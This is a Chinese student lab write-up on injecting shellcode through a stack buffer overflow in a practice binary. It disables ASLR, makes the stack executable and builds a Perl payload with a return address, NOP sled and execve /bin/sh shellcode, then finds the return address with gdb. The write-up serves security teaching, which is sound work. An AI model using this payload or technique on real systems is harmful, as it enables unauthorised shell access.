注入Shellcode并运行攻击
一、实验步骤
1.安装execstack并修改设置
安装execstack
apt-get install execstack
设置堆栈可执行
execstack -s 20154305
查询文件的堆栈是否可执行
execstack -q 20154305
- 关闭地址随机化
echo "0" > /proc/sys/kernel/randomize_va_space
- 查询地址随机化是否关闭
more /proc/sys/kernel/randomize_va_space
0代表关闭,2代表开启
2. 构造攻击buf
本实验采用 retaddr+nop+shellcode 方法
由以上两阶段实验已经知道pwn1文件的foo函数字符串缓冲大小为32Byte
采用老师提供的shellcode 的代码
\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00
-用perl语言输入代码 perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
上面的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
3. 确定返回地址的值
将写好的代码通过管道方式输入给程序20154305中的foo函数进行覆盖
(cat input_shellcode;cat) | ./20154305
此处应注意,输入完指令只需要按一次回车,然后我们需要打开另一个终端
打开另外一个终端,用gdb来调试pwn1这个进程
首先找到20154305程序的进程号
ps -ef | grep 20154305
启动gdb调试这个程序
gdb
attach 2041
通过ps指令可以看到20154305程序有两个进程号:2041和2088,2041为上一个终端打开时的调用,故我们attach 2041进行调试
- 设置断点来查看注入buf的内存地址
disassemble foo
ret的地址为 0x080484ae,ret完就会跳到我们覆盖的返回地址了
break *0x080484ae
设置断点在另一个终端按下回车,这样程序就会执行之后在断点处停下来
再在gdb调试的终端输入 c 继续运行程序
通过
info r esp
查看esp寄存器的地址
上图可以看到 01010304 所在的地址为 0xffffd3cc,那么注入的shellcode代码的地址应该在该地址后四个字节的位置,即
0xffffd3cc + 0x00000004 = 0xffffd3d0
。退出gdp调试。
4. 修改注入代码的覆盖地址
输入perl -e 'print "A" x 32;print "\xd0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
(cat input_shellcode;cat) | ./20154305